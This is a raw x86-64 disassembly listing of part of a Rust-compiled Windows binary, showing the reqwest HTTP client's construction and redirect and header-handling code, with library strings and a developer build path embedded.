call fcn.1400025a6
lea rdi, [rsp + 0x790]
cmp byte [rsp + 0x7b0], 2
je 0x1400057e4
mov rax, qword [rdi + 0x20]
mov qword [rsp + 0x600], rax
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [rsp + 0x5f0], xmm1
movaps xmmword [rsp + 0x5e0], xmm0
lea r9, [rsp + 0x2c0]
mov qword [r9 + 0x20], rax
movaps xmmword [r9 + 0x10], xmm1
movaps xmmword [r9], xmm0
lea r8, [rsp + 0x880]
movaps xmmword [r8], xmm7
movaps xmmword [r8 + 0x10], xmm6
mov rax, qword [0x1401b3d40]
mov qword [r8 + 0x20], rax
lea rsi, [rsp + 0x820]
lea rdx, [rsp + 0x680]
mov rcx, rsi
call fcn.140040dc1
mov rcx, rsi
call fcn.140033e2a
lea rsi, [rsp + 0x880]
mov rcx, rsi
call fcn.1400a14cb
lea rdi, [rsp + 0x410]
lea rdx, [rsp + 0x530]
mov rcx, rdi
call fcn.1400a1520
lea rbx, [rsp + 0x2c0]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.14001f0d7
push 0xb
pop rcx
lea r8, [rsp + 0x880]
lea rsi, [rsp + 0xf0]
mov rdi, r8
rep movsq qword [rdi], qword [rsi]
lea rsi, [rsp + 0x410]
mov rcx, rsi
mov rdx, rbx
call fcn.14009c09a
movaps xmm0, xmmword [rsp + 0x7f0]
movups xmmword [rbx + 0x10], xmm0
mov qword [rbx], r14
mov rax, qword [rsp + 0x50]
mov qword [rbx + 8], rax
mov qword [rbx + 0x20], r12
lea rdi, [rsp + 0x880]
lea r8, [rsp + 0x2c0]
mov rcx, rdi
mov rdx, rsi
call fcn.14009c1c1
lea r8, str.C:Usersyyy.cargo_registry_srcgithub.com_1ecc6299db9ec823_reqwest_0.11.3_src_async_implclient.rstrust_dns_shouldnt_be_enabled_unless_the_feature_isClient::new__
lea rcx, [rsp + 0x2c0]
mov rdx, rdi
call fcn.1400a15f4
mov rcx, qword [rsp + 0xd10]
cmp rcx, 1
je 0x1400058bc
mov rax, qword [rsp + 0xa0]
cmp qword [rax + 0x190], 1
jne 0x140005901
cmp rcx, 1
mov r8d, dword [rsp + 0x2bc]
mov rdx, qword [rsp + 0xd08]
je 0x1400058e8
mov rax, qword [rsp + 0xa0]
mov r8d, dword [rax + 0x1a0]
mov rdx, qword [rax + 0x198]
lea rsi, [rsp + 0x880]
mov rcx, rsi
call fcn.1400c8653
cmp dword [rsi + 0x198], 2
jne 0x14000590a
xor eax, eax
mov qword [rsp + 0x50], rax
jmp 0x140005934
mov ecx, 0x280
mov edx, 0x80
call fcn.140035b9b
lea rdx, [rsp + 0x880]
mov r8d, 0x280
mov rcx, rax
mov qword [rsp + 0x50], rax
call fcn.1400def70
lea rsi, [rsp + 0x880]
lea rdx, [rsp + 0x680]
mov rcx, rsi
call fcn.1400a163e
lea rdi, [rsp + 0x330]
mov rcx, rdi
call fcn.140050fda
push 0xc
pop r13
mov rcx, r13
rep movsq qword [rdi], qword [rsi]
mov r14, qword [rsp + 0xa0]
lea rsi, [r14 + 0x70]
lea rdi, [rsp + 0x880]
lea rdx, [rsp + 0x2c0]
mov r8d, 0x108
mov rcx, rdi
call fcn.1400def70
mov rcx, rsi
mov rdx, rdi
call fcn.14009c4ac
mov rbx, qword [rsp + 0x530]
lea rdi, [rsp + 0x410]
mov rcx, r13
lea rsi, [rsp + 0x680]
rep movsq qword [rdi], qword [rsi]
lock inc qword [r14]
jle 0x1400081aa
mov r12, rax
mov r15, rdx
mov r13, qword [0x1401f1dd0]
movups xmm0, xmmword [rsp + 0x538]
lea rdi, [rsp + 0x890]
movaps xmmword [rdi - 0x10], xmm0
push 0xb
pop rcx
lea rsi, [rsp + 0x560]
rep movsq qword [rdi], qword [rsi]
lea rdi, [rsp + 0x8e8]
push 0xc
pop rcx
lea rsi, [rsp + 0x410]
rep movsq qword [rdi], qword [rsi]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x5c0], xmm0
lea rcx, [rsp + 0xd18]
lea rdx, [rsp + 0x880]
mov r8d, 0xc8
call fcn.1400def70
xor esi, esi
movzx r14d, word [rsp + 0x4c]
mov rdi, qword [rsp + 0x60]
mov rax, qword [rsp + 0x170]
lock dec qword [rax]
jne 0x140005a56
lea rcx, [rsp + 0x170]
call fcn.14009c286
mov rax, qword [rsp + 0x58]
mov qword [rax + 0x118], rsi
mov qword [rax + 0x120], rbx
mov rbx, rax
lea rcx, [rax + 0x128]
lea rdx, [rsp + 0xd18]
mov r8d, 0xc8
call fcn.1400def70
mov rax, qword [rsp + 0x5d8]
mov qword [rbx + 0x1f0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rbx + 0x1f8], rax
mov rax, qword [rsp + 0x70]
mov qword [rbx + 0x200], rax
mov al, byte [rsp + 0x4a]
mov byte [rbx + 0x208], al
mov al, byte [rsp + 0x48]
mov byte [rbx + 0x209], al
mov al, byte [rsp + 0x49]
mov byte [rbx + 0x20a], al
mov rax, qword [rsp + 0x90]
mov byte [rbx + 0x20b], al
mov al, byte [rsp + 0x88]
mov byte [rbx + 0x20c], al
mov al, byte [rsp + 0x98]
mov byte [rbx + 0x20d], al
mov word [rbx + 0x20e], r14w
mov qword [rbx + 0x210], rdi
mov qword [rbx + 0x218], r13
movaps xmm0, xmmword [rsp + 0x5c0]
movups xmmword [rbx + 0x220], xmm0
mov rax, qword [rsp + 0xa0]
mov qword [rbx + 0x230], rax
mov qword [rbx + 0x238], r12
mov qword [rbx + 0x240], r15
mov rax, qword [rsp + 0x50]
mov qword [rbx + 0x248], rax
mov r14, qword [rsp + 0x80]
lea rdi, [rbx + 0x120]
test rsi, rsi
mov qword [rsp + 0x80], r14
je 0x140005b78
mov r15, qword [rdi]
and qword [rdi], 0
test r15, r15
je 0x140008335
push 1
pop rcx
jmp 0x140006bd0
lea rsi, [rbx + 0x248]
cmp qword [rbx + 0x248], 0
je 0x140005ba1
mov rcx, rsi
mov rdx, qword [rsp + 0xc0]
call fcn.1400c3913
test al, al
je 0x140006892
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x88], rsi
lea rdi, [rbx + 0x1f8]
lea r13, [rbx + 0x190]
lea r12, [rbx + 0x138]
lea r14, [rsp + 0x880]
xorps xmm6, xmm6
push 0xb
pop r15
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x60], rdi
mov rdx, qword [rbx + 0x238]
mov rax, qword [rbx + 0x240]
mov rcx, r14
mov r8, qword [rsp + 0xc0]
call qword [rax + 0x18]
mov rax, qword [rsp + 0x880]
cmp rax, 2
je 0x1400068b2
cmp eax, 1
je 0x1400068b6
mov r8d, 0xa0
lea rcx, [rsp + 0x680]
lea rdx, [rsp + 0x888]
call fcn.1400def70
mov eax, dword [rsp + 0x6e8]
lea ecx, [rax - 0x12d]
cmp cx, 3
jae 0x140005cd9
cmp qword [rbx + 0x1f0], 0
je 0x140005c57
mov rcx, rdi
call fcn.14001dab1
and qword [rbx + 0x1f0], 0
movups xmm0, xmmword [rsp + 0x880]
movups xmm1, xmmword [rsp + 0x890]
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
xor esi, esi
lea rbx, [0x1401b3e50]
cmp rsi, 0xa0
je 0x140005ca5
lea r8, [rbx + rsi]
mov rcx, r14
mov rdx, r13
call fcn.140041537
mov rcx, r14
call fcn.140033e2a
add rsi, 0x28
jmp 0x140005c7f
mov rax, qword [rsp + 0x50]
movzx eax, byte [rax]
or eax, 4
cmp eax, 5
je 0x140005cff
mov rsi, qword [rsp + 0x50]
mov rcx, rsi
call fcn.140050fcb
mov rax, qword [0x1401b3f00]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [0x1401b3ef0]
movups xmmword [rsi], xmm0
jmp 0x140005cff
add eax, 0xfffffecd
cmp ax, 2
jae 0x1400069b0
cmp dword [rbx + 0x1f0], 1
jne 0x140005cff
cmp qword [rbx + 0x210], 0
je 0x1400069b0
movups xmm0, xmmword [0x1401b3f08]
movaps xmmword [rsp + 0x7f0], xmm0
movups xmm0, xmmword [0x1401b3f18]
movaps xmmword [rsp + 0x800], xmm0
mov rax, qword [0x1401b3f28]
mov qword [rsp + 0x810], rax
lea rcx, [rsp + 0x680]
lea rdx, [rsp + 0x7f0]
call fcn.14001e90c
test rax, rax
je 0x1400069b0
mov qword [rsp + 0x820], rax
mov rdx, qword [rax]
mov r8, qword [rax + 8]
lea rcx, [rsp + 0x2c0]
call fcn.140013b80
cmp dword [rsp + 0x2c0], 1
je 0x140005ed9
mov r8, qword [rsp + 0x2c8]
test r8, r8
je 0x140005ed9
mov r9, qword [rsp + 0x2d0]
and qword [rsp + 0x2c8], 0
mov qword [rsp + 0x2c0], r12
and qword [rsp + 0x2d8], 0
mov rcx, r14
lea rdx, [rsp + 0x2c0]
call fcn.1400cdb33
cmp byte [rsp + 0x880], 1
je 0x140005ed9
lea rax, [rsp + 0x888]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x1a0], xmm3
movaps xmmword [rsp + 0x190], xmm2
movaps xmmword [rsp + 0x180], xmm1
movaps xmmword [rsp + 0x170], xmm0
mov ebx, dword [rsp + 0x8c8]
movups xmm0, xmmword [rax + 0x44]
movaps xmmword [rsp + 0xf0], xmm0
mov eax, dword [rax + 0x54]
mov dword [rsp + 0x100], eax
cmp ebx, 2
je 0x140005ed9
movaps xmm0, xmmword [rsp + 0x170]
movaps xmm1, xmmword [rsp + 0x180]
movaps xmm2, xmmword [rsp + 0x190]
movaps xmm3, xmmword [rsp + 0x1a0]
movaps xmmword [rsp + 0x440], xmm3
movaps xmmword [rsp + 0x430], xmm2
movaps xmmword [rsp + 0x420], xmm1
movaps xmmword [rsp + 0x410], xmm0
mov dword [rsp + 0x450], ebx
mov eax, dword [rsp + 0x100]
lea rcx, [rsp + 0x454]
mov dword [rcx + 0x10], eax
movaps xmm0, xmmword [rsp + 0xf0]
movups xmmword [rcx], xmm0
mov rdx, qword [rsp + 0x410]
mov r8, qword [rsp + 0x420]
mov rcx, r14
call fcn.1400a1952
cmp byte [rsp + 0x880], 1
je 0x140005ecc
mov rcx, r15
lea rdi, [rsp + 0x2c0]
lea rsi, [rsp + 0x888]
rep movsq qword [rdi], qword [rsi]
cmp byte [rsp + 0x2c0], 3
jne 0x140006822
lea rcx, [rsp + 0x410]
call fcn.14000d698
mov rax, qword [0x140202b18]
push 2
pop rbx
cmp rax, 4
jb 0x140005f58
lea rax, [0x1401b3f30]
mov qword [rsp + 0x880], rax
push 1
pop rcx
mov qword [rsp + 0x888], rcx
and qword [rsp + 0x890], 0
lea rax, [rsp + 0x820]
mov qword [rsp + 0x560], rax
lea rax, [0x14003650c]
mov qword [rsp + 0x568], rax
lea rax, [rsp + 0x560]
mov qword [rsp + 0x8a0], rax
mov qword [rsp + 0x8a8], rcx
mov rcx, r14
push 4
pop rdx
lea r8, str.reqwest::async_impl::clientresponse__for_redirect_policy_disallowed_redirection_to_redirecting__to_Location_header_had_invalid_URI:_has_authority_means_set_username_shouldnt_fail
call fcn.14004a87c
push 2
pop rbx
cmp ebx, 2
je 0x1400069b0
movaps xmm0, xmmword [rsp + 0x640]
movaps xmm1, xmmword [rsp + 0x650]
movaps xmm2, xmmword [rsp + 0x660]
movaps xmm3, xmmword [rsp + 0x670]
movaps xmmword [rsp + 0x610], xmm3
movaps xmmword [rsp + 0x600], xmm2
movaps xmmword [rsp + 0x5f0], xmm1
movaps xmmword [rsp + 0x5e0], xmm0
mov dword [rsp + 0x620], ebx
mov eax, dword [rsp + 0x2a0]
lea rcx, [rsp + 0x624]
mov dword [rcx + 0x10], eax
movaps xmm0, xmmword [rsp + 0x290]
movups xmmword [rcx], xmm0
mov rbx, qword [rsp + 0x58]
mov rax, qword [rbx + 0x230]
cmp byte [rax + 0x1b0], 0
je 0x140006175
lea rcx, [rsp + 0x5e0]
call fcn.1400529a9
mov rcx, rax
lea r8, [0x1401f166b]
push 4
pop r9
call fcn.140085d77
test al, al
je 0x140006025
mov rcx, r12
call fcn.1400529a9
mov rcx, rax
lea r8, [0x1401f166f]
push 5
pop r9
call fcn.140085d77
test al, al
jne 0x140006170
mov rcx, r14
mov rdx, r12
call fcn.1400a1f77
mov rcx, r14
call fcn.1400d1fc5
mov rcx, r14
call fcn.1400d2197
cmp dword [rsp + 0x8c8], 1
jne 0x140006059
mov edx, dword [rsp + 0x8cc]
mov rcx, r14
call fcn.1400d1875
and dword [rsp + 0x8c8], 0
mov rdx, qword [rsp + 0x880]
mov r8, qword [rsp + 0x890]
lea rcx, [rsp + 0x2c0]
call fcn.14009bca7
mov al, byte [rsp + 0x2e0]
mov bl, 2
cmp al, 2
je 0x1400060c9
movups xmm0, xmmword [rsp + 0x2c0]
movups xmm1, xmmword [rsp + 0x2d0]
movaps xmmword [rsp + 0x420], xmm1
movaps xmmword [rsp + 0x410], xmm0
lea rdx, [rsp + 0x330]
mov ecx, dword [rdx - 0x4f]
mov edx, dword [rdx - 0x4c]
mov dword [rsp + 0x170], ecx
mov dword [rsp + 0x173], edx
mov ebx, eax
mov rcx, r14
call fcn.14000d698
cmp bl, 2
je 0x140006170
movaps xmm0, xmmword [rsp + 0x410]
movaps xmm1, xmmword [rsp + 0x420]
movaps xmmword [rsp + 0x890], xmm1
movaps xmmword [rsp + 0x880], xmm0
mov byte [rsp + 0x8a0], bl
mov eax, dword [rsp + 0x170]
mov ecx, dword [rsp + 0x173]
lea rdx, [rsp + 0x888]
mov dword [rdx + 0x1c], ecx
mov dword [rdx + 0x19], eax
movups xmm0, xmmword [0x1401b3f78]
movaps xmmword [rsp + 0x530], xmm0
movups xmm0, xmmword [0x1401b3f88]
movaps xmmword [rsp + 0x540], xmm0
mov rax, qword [0x1401b3f98]
mov qword [rsp + 0x550], rax
lea rsi, [rsp + 0x2c0]
mov rcx, rsi
mov rdx, r13
lea r8, [rsp + 0x530]
mov r9, r14
call fcn.140040dc1
mov rcx, rsi
call fcn.140033e2a
mov rbx, qword [rsp + 0x58]
lea rsi, [rsp + 0x820]
mov rcx, rsi
mov rdx, r12
call fcn.1400a1f77
mov rcx, r15
mov rdi, r14
rep movsq qword [rdi], qword [rsi]
mov rdi, qword [rbx + 0x228]
cmp rdi, qword [rbx + 0x220]
jne 0x1400062b1
mov rsi, rdi
inc rsi
jne 0x1400061b8
push 1
pop rcx
xor r8d, r8d
jmp 0x140006298
lea rax, [rdi + rdi]
cmp rax, rsi
cmova rsi, rax
cmp rsi, 4
push 4
pop rax
cmovbe rsi, rax
mov rax, rsi
push 0x58
pop rdx
mul rdx
mov rcx, qword [rsp + 0xc8]
cmovno rcx, rax
mov qword [rsp + 0xc8], rcx
jno 0x1400061f2
xor r8d, r8d
jmp 0x140006204
push 8
pop rdx
call fcn.140056262
mov r8, rdx
mov rdi, qword [rbx + 0x220]
test rdi, rdi
je 0x140006232
imul rcx, rdi, 0x58
mov rdx, qword [rbx + 0x218]
mov qword [rsp + 0x2c0], rdx
mov qword [rsp + 0x2c8], rcx
mov qword [rsp + 0x2d0], 8
jmp 0x14000623b
and qword [rsp + 0x2c0], 0
lea rcx, [rsp + 0x410]
mov rdx, rax
lea r9, [rsp + 0x2c0]
call fcn.14000d95f
mov rsi, qword [rsp + 0x418]
mov rax, qword [rsp + 0x420]
cmp qword [rsp + 0x410], 1
jne 0x140006276
push 1
pop rcx
mov r8, rax
jmp 0x140006298
mov qword [rbx + 0x218], rsi
xor edx, edx
push 0x58
pop rcx
div rcx
mov qword [rbx + 0x220], rax
xor ecx, ecx
mov rsi, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
mov rdx, rsi
mov qword [rsp + 0x78], r8
call fcn.14000d937
mov rdi, qword [rbx + 0x228]
mov qword [rsp + 0x70], rsi
imul rdi, rdi, 0x58
add rdi, qword [rbx + 0x218]
mov rcx, r15
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbx + 0x228]
inc rax
mov qword [rbx + 0x228], rax
mov rcx, qword [rbx + 0x230]
mov rdx, qword [rcx + 0x178]
test rdx, rdx
je 0x14000630d
cmp edx, 1
jne 0x140006929
cmp rax, qword [rcx + 0x180]
push 4
pop rdx
je 0x140006b22
and qword [rsp + 0x158], 0
jmp 0x140006374
mov rbx, qword [rbx + 0x218]
movzx edi, word [rsp + 0x6e8]
mov rdx, qword [rcx + 0x180]
mov rsi, qword [rcx + 0x188]
lea rcx, [rsp + 0x5e0]
mov qword [rsp + 0x880], rcx
mov qword [rsp + 0x888], rbx
mov qword [rsp + 0x890], rax
mov word [rsp + 0x898], di
lea rcx, [rsp + 0x158]
mov r8, r14
call qword [rsi + 0x18]
mov rax, qword [rsp + 0x158]
test rax, rax
push 4
pop rdx
jne 0x14000691e
mov rax, qword [0x140202b18]
cmp rax, 4
jb 0x1400063ff
mov qword [rsp + 0x2c0], r12
lea rax, [0x1400a1fb5]
mov qword [rsp + 0x2c8], rax
lea rcx, [0x1401b3fa0]
mov qword [rsp + 0x880], rcx
mov qword [rsp + 0x888], 3
and qword [rsp + 0x890], 0
lea rcx, [rsp + 0x5e0]
mov qword [rsp + 0x2d0], rcx
mov qword [rsp + 0x2d8], rax
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x8a0], rax
mov qword [rsp + 0x8a8], 2
mov rcx, r14
lea r8, str.reqwest::async_impl::clientresponse__for_redirect_policy_disallowed_redirection_to_redirecting__to_Location_header_had_invalid_URI:_has_authority_means_set_username_shouldnt_fail
call fcn.14004a87c
mov rcx, r15
mov rdi, r14
lea rsi, [rsp + 0x5e0]
rep movsq qword [rdi], qword [rsi]
mov rcx, r12
call fcn.14000d698
mov rcx, r15
mov rdi, r12
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov rcx, r14
call fcn.1400371f8
push 0xc
pop rax
mov rcx, rax
lea rdi, [rsp + 0xf0]
mov rsi, r13
rep movsq qword [rdi], qword [rsi]
mov rcx, rax
mov rdi, r13
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rsp + 0x58]
mov rax, qword [rax + 0x228]
test rax, rax
je 0x140006633
mov rcx, qword [rsp + 0x58]
mov rcx, qword [rcx + 0x218]
imul rax, rax, 0x58
lea rsi, [rax + rcx]
add rsi, 0xffffffffffffffa8
mov rcx, r12
call fcn.1400d1cfc
mov rdi, rax
mov rbx, rdx
mov rcx, rsi
call fcn.1400d1cfc
mov r9, rdx
test rdi, rdi
sete cl
test rax, rax
setne dl
cmp cl, dl
je 0x1400064ea
test rdi, rdi
je 0x1400064be
test rax, rax
je 0x1400064be
mov rcx, rdi
mov rdx, rbx
mov r8, rax
call fcn.1400a144a
test al, al
jne 0x1400064ea
mov rcx, r12
call fcn.1400a1fba
mov ebx, eax
mov edi, edx
mov rcx, rsi
call fcn.1400a1fba
cmp bx, ax
jne 0x1400064ea
cmp bx, 1
jne 0x140006633
cmp di, dx
je 0x140006633
movups xmm0, xmmword [0x1401b4008]
movaps xmmword [rsp + 0x170], xmm0
movups xmm0, xmmword [0x1401b4018]
movaps xmmword [rsp + 0x180], xmm0
mov rax, qword [0x1401b4028]
mov qword [rsp + 0x190], rax
mov rcx, r14
lea rsi, [rsp + 0xf0]
mov rdx, rsi
lea r8, [rsp + 0x170]
call fcn.1400410f2
mov rcx, r14
call fcn.140033e2a
movups xmm0, xmmword [0x1401b4030]
movaps xmmword [rsp + 0x410], xmm0
movups xmm0, xmmword [0x1401b4040]
movaps xmmword [rsp + 0x420], xmm0
mov rax, qword [0x1401b4050]
mov qword [rsp + 0x430], rax
mov rcx, r14
mov rdx, rsi
lea r8, [rsp + 0x410]
call fcn.1400410f2
mov rcx, r14
call fcn.140033e2a
mov rcx, r14
mov rdx, rsi
lea r8, str.cookie2
push 7
pop r9
call fcn.140041486
mov rcx, r14
call fcn.140033e2a
movups xmm0, xmmword [0x1401b3d20]
movaps xmmword [rsp + 0x2c0], xmm0
movups xmm0, xmmword [0x1401b3d30]
movaps xmmword [rsp + 0x2d0], xmm0
mov rax, qword [0x1401b3d40]
mov qword [rsp + 0x2e0], rax
mov rcx, r14
mov rdx, rsi
lea r8, [rsp + 0x2c0]
call fcn.1400410f2
mov rcx, r14
call fcn.140033e2a
movups xmm0, xmmword [0x1401b4060]
movaps xmmword [rsp + 0x880], xmm0
movups xmm0, xmmword [0x1401b4070]
movaps xmmword [rsp + 0x890], xmm0
mov rax, qword [0x1401b4080]
mov qword [rsp + 0x8a0], rax
lea rdi, [rsp + 0x560]
mov rcx, rdi
mov rdx, rsi
mov r8, r14
call fcn.1400410f2
mov rcx, rdi
call fcn.140033e2a
lea rcx, [rsp + 0x560]
mov rdx, r12
call fcn.1400a145a
mov rbx, qword [rsp + 0x58]
cmp dword [rbx + 0x1f0], 1
jne 0x14000668d
cmp qword [rbx + 0x210], 0
je 0x14000668d
mov rcx, r14
mov rdx, qword [rsp + 0x60]
call fcn.14000dc00
mov r12, qword [rsp + 0x880]
mov r15, qword [rsp + 0x898]
lea rax, [rsp + 0x888]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1400066a3
movaps xmmword [rsp + 0xd0], xmm6
lea r12, [0x1401f2970]
lea r15, [0x1401aa980]
mov rsi, qword [rsp + 0x50]
mov rcx, r14
call fcn.1400a14cb
lea rdi, [rsp + 0x170]
mov rcx, rdi
mov rdx, rsi
call fcn.1400a1520
lea rsi, [rsp + 0x410]
mov rcx, rsi
mov rdx, r14
mov r8, rdi
call fcn.14001f0d7
mov rcx, r14
lea rdx, [rsp + 0x560]
call fcn.14009f488
mov rcx, rdi
mov rdx, rsi
mov r8, r14
call fcn.14009c09a
movaps xmm0, xmmword [rsp + 0xd0]
lea rax, [rsp + 0x454]
movups xmmword [rax - 0x34], xmm0
and qword [rsp + 0x410], 0
mov qword [rsp + 0x418], r12
mov qword [rsp + 0x430], r15
mov rcx, r14
mov rdx, rdi
mov r8, rsi
call fcn.14009c1c1
lea r12, [rsp + 0x2c0]
mov rcx, r12
mov rdx, r14
lea r8, str.C:Usersyyy.cargo_registry_srcgithub.com_1ecc6299db9ec823_reqwest_0.11.3_src_async_implclient.rstrust_dns_shouldnt_be_enabled_unless_the_feature_isClient::new__
call fcn.1400a15f4
mov rcx, r14
lea r15, [rsp + 0xf0]
mov rdx, r15
call fcn.1400a163e
lea rdi, [rsp + 0x330]
mov rcx, rdi
call fcn.140050fda
push 0xc
pop rcx
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov rcx, r13
mov rdx, r15
push 0x60
pop r8
call fcn.14003fbb6
mov rsi, qword [rbx + 0x230]
add rsi, 0x70
mov r8d, 0x108
mov rcx, r14
mov rdx, r12
call fcn.1400def70
mov rcx, rsi
mov rdx, r14
call fcn.14009c4ac
mov rsi, rax
mov rdi, rdx
mov rcx, qword [rbx + 0x238]
mov rax, qword [rbx + 0x240]
call qword [rax]
mov rcx, qword [rbx + 0x238]
mov rax, qword [rbx + 0x240]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
call fcn.140002a93
mov qword [rbx + 0x238], rsi
mov qword [rbx + 0x240], rdi
lea rcx, [rsp + 0x560]
call fcn.14001d644
mov rcx, r15
call fcn.140050fda
lea rcx, [rsp + 0x680]
call fcn.14005110f
mov r12, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x60]
push 0xb
pop r15
jmp 0x140005bdc
lea rcx, [rsp + 0x2c0]
call fcn.14001d644
movaps xmm0, xmmword [rsp + 0x170]
movaps xmm1, xmmword [rsp + 0x180]
movaps xmm2, xmmword [rsp + 0x190]
movaps xmm3, xmmword [rsp + 0x1a0]
movaps xmmword [rsp + 0x640], xmm0
movaps xmmword [rsp + 0x650], xmm1
movaps xmmword [rsp + 0x660], xmm2
movaps xmmword [rsp + 0x670], xmm3
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x290], xmm0
mov eax, dword [rsp + 0x100]
mov dword [rsp + 0x2a0], eax
jmp 0x140005f58
mov cx, 1
call fcn.140052c8d
mov r15, rax
lea rdx, [rbx + 0x138]
lea rsi, [rsp + 0x880]
mov rcx, rsi
jmp 0x1400068ff
push 2
jmp 0x140006918
mov rcx, qword [rsp + 0x888]
call fcn.14005205a
mov rsi, rax
push 0x70
pop rcx
push 8
pop rdx
call fcn.140035b9b
mov r15, rax
mov qword [rax], rsi
lea rax, fcn.14003df8a
mov qword [r15 + 8], rax
mov dword [r15 + 0x50], 2
mov word [r15 + 0x68], 1
lea rsi, [rsp + 0x2c0]
mov rcx, rsi
mov rdx, r12
call fcn.1400a1f77
lea rdi, [r15 + 0x10]
mov rcx, rdi
call fcn.140052b70
push 0xb
pop rcx
rep movsq qword [rdi], qword [rsi]
push 1
pop rcx
jmp 0x140006bbb
cmp rax, 1
je 0x140006935
jmp 0x140006b4f
mov qword [rsp + 0x158], 1
mov rax, qword [0x140202b18]
cmp rax, 4
jb 0x1400069a3
lea rax, [0x1401b40a0]
lea rcx, [rsp + 0x880]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x10], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xf0], rax
lea rax, [0x1400a1fb5]
mov qword [rsp + 0xf8], rax
lea rax, [rsp + 0xf0]
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], 1
lea r8, str.reqwest::async_impl::clientresponse__for_redirect_policy_disallowed_redirection_to_redirecting__to_Location_header_had_invalid_URI:_has_authority_means_set_username_shouldnt_fail
push 4
pop rdx
call fcn.14004a87c
lea rcx, [rsp + 0x5e0]
call fcn.14000d698
mov rax, qword [0x140202b18]
cmp rax, 4
jb 0x140006a44
movzx eax, word [rsp + 0x6e8]
mov word [rsp + 0x410], ax
lea rax, [rsp + 0x410]
mov qword [rsp + 0x2c0], rax
lea rax, [0x14003c1d4]
mov qword [rsp + 0x2c8], rax
lea rax, [0x1401b40f8]
lea rcx, [rsp + 0x880]
mov qword [rcx], rax
push 2
pop rax
mov qword [rcx + 8], rax
and qword [rcx + 0x10], 0
mov qword [rsp + 0x2d0], r12
lea rdx, [0x1400a1fb5]
mov qword [rsp + 0x2d8], rdx
lea rdx, [rsp + 0x2c0]
mov qword [rcx + 0x20], rdx
mov qword [rcx + 0x28], rax
lea r8, str.reqwest::async_impl::clientresponse__for_redirect_policy_disallowed_redirection_to_redirecting__to_Location_header_had_invalid_URI:_has_authority_means_set_username_shouldnt_fail
push 4
pop rdx
call fcn.14004a87c
lea rax, [rsp + 0x688]
mov r15, qword [rax - 8]
push 0xb
pop rcx
lea rdi, [rsp + 0x790]
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rsi, qword [rax + 0x58]
movzx r13d, word [rax + 0x60]
mov bl, byte [rax + 0x62]
movups xmm0, xmmword [rax + 0x63]
movaps xmmword [rsp + 0x2c0], xmm0
movups xmm0, xmmword [rax + 0x73]
movaps xmmword [rsp + 0x2d0], xmm0
movups xmm0, xmmword [rax + 0x83]
movaps xmmword [rsp + 0x2e0], xmm0
mov rax, qword [rax + 0x90]
mov qword [rsp + 0x2ed], rax
lea rcx, [rsp + 0x880]
mov rdx, r12
call fcn.1400a1f77
mov rax, qword [rsp + 0x88]
mov r14, qword [rax]
and qword [rax], 0
push 0x30
pop rcx
push 8
pop rdi
mov rdx, rdi
call fcn.140035b9b
mov r12, rax
movups xmm0, xmmword [rsp + 0x2c5]
movups xmm1, xmmword [rsp + 0x2d5]
movups xmm2, xmmword [rsp + 0x2e5]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax + 0x20], xmm2
push 0x58
pop rcx
mov rdx, rdi
call fcn.140035b9b
mov r10, rsi
mov r9d, r13d
mov r8d, ebx
push 0xb
pop rcx
mov rdi, rax
lea rsi, [rsp + 0x880]
rep movsq qword [rdi], qword [rsi]
xor ecx, ecx
jmp 0x140006bb6
push 1
pop rdx
xor ecx, ecx
call fcn.140035b9b
mov qword [rsp + 0x158], 2
mov qword [rsp + 0x160], rax
lea rax, [0x1401b3470]
mov qword [rsp + 0x168], rax
mov rsi, qword [rsp + 0x160]
mov rdi, qword [rsp + 0x168]
lea rbx, [rsp + 0x880]
mov rcx, rbx
mov rdx, r12
call fcn.1400a1f77
mov cx, 2
mov rdx, rsi
mov r8, rdi
call fcn.140052cd3
mov r15, rax
lea rdi, [rax + 0x10]
mov rcx, rdi
call fcn.140052b70
push 0xb
pop rcx
mov rsi, rbx
rep movsq qword [rdi], qword [rsi]
lea rcx, [rsp + 0x5e0]
call fcn.14000d698
lea rcx, [rsp + 0x680]
call fcn.14005110f
push 1
pop rcx
mov rbx, qword [rsp + 0x58]
cmp ecx, 2
jne 0x140006bd0
mov rax, qword [rsp + 0x80]
mov byte [rax], 3
jmp 0x1400083c4
lea rdx, [rbx + 0x118]
mov qword [rbx + 0x68], rcx
lea r13, [rbx + 0x70]
mov qword [rbx + 0x70], r15
lea rdi, [rbx + 0x78]
push 0xb
pop rcx
lea rsi, [rsp + 0x790]
rep movsq qword [rdi], qword [rsi]
mov qword [rbx + 0xd0], rax
mov qword [rbx + 0xd8], 1
mov qword [rbx + 0xe0], r12
mov rsi, rdx
lea rax, [0x1401b4150]
mov qword [rbx + 0xe8], rax
mov qword [rbx + 0xf0], r14
mov qword [rbx + 0x100], r10
mov word [rbx + 0x108], r9w
mov byte [rbx + 0x10a], r8b
mov eax, dword [rsp + 0x5bb]
mov dword [rbx + 0x10b], eax
mov al, byte [rsp + 0x5bf]
mov byte [rbx + 0x10f], al
mov rcx, rdx
call fcn.140002758
